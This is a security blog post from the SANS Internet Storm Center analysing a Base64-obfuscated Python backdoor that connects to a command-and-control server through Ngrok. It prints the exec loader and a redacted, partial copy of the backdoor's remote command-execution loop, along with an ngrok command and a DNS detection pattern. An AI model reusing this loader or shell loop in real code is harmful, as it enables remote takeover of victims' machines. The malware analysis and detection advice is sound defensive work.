Threat Level: green Handler on Duty: Johannes Ullrich

SANS ISC: InfoSec Handlers Diary Blog InfoSec Handlers Diary Blog

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Python Backdoor Talking to a C2 Through Ngrok

Published: 2020-12-10
Last Updated: 2020-12-10 07:41:32 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I spotted a malicious Python script that implements a backdoor. The interesting behavior is the use of Ngrok to connect to the C2 server. Ngrok has been used for a while by attackers. Like most services available on the Internet, it has been abused by attackers for a long time. If you're not familiar with Ngrok[1], here is the principle: You download the Ngrok client and publish your services (ex: a web server) in the wild. Ngrok acts like a reverse-proxy and allows access to your published services. Because Ngrok is very popular, it's often not considered as harmful and is allowed to bypass firewalls, NAT, etc... By default, the host assigned to your published service is random but, if you create an account, you can force the host to be used (and use it in your malicious code). Example:

# ngrok tcp --region=us --remote-addr 80

This command will expose your local web server through hxxp://

The script has been found on VT (SHA256:eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf) and has a score of 5/59[2]. The obfuscation is performed by Base64 encoding the malicious code:

import socket
import os
import base64
exec(base64.b64decode("aW1wb3J0IHNvY ... AgICAgIHBhc3M=".encode('utf-8')).decode())

The backdoor is simple but effective:

import socket, subprocess, shutil, sys
nameoffile = sys.argv[0]
a = socket.socket()
while True:
        a.connect(("<redacted>", <redacted>))
while True:
        recvd = a.recv(1024)
        if recvd.decode() == "m:os":
        if recvd.decode() == "m:hide":
            ree = shutil.move(nameoffile,'C:\\')
            a.send(bytes(nameoffile + "moved to "+ ree +" sucessfully!",'UTF-8'))
            output = os.popen(recvd.decode()).read()

It is very simple. Two commands are implemented. "m:os" to report the operating system information and "m:hide" to move the script file. All other received commands will be passed to an os.popen() call to execute them and their result will be sent back to the C2.

What about the popularity of Ngrok in the malware landscape? I performed a VT retro-search to find more references to "". Here are the results:

Job ID: <redacted>
Start time: 2020-12-09 13:24:35.476494 UTC
Finish time: 2020-12-09 19:22:41.084292 UTC
Scanned data size: 730.5 TB
Matches: 1535

I expected more hits but it is indeed a cool technique for attackers to hide their infrastructure. I would recommend keeping an eye on traffic to To search for DNS queries like "\.(tcp|udp)\.ngrok\.io" is a good start. If not malicious, the usage of Ngrok might also reveal some shadow IT stuff in place or potential security issues (like developers sharing test applications or security controls bypass).


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

Keywords: Python Backdoor Ngrok C2
0 comment(s)
Diary Archives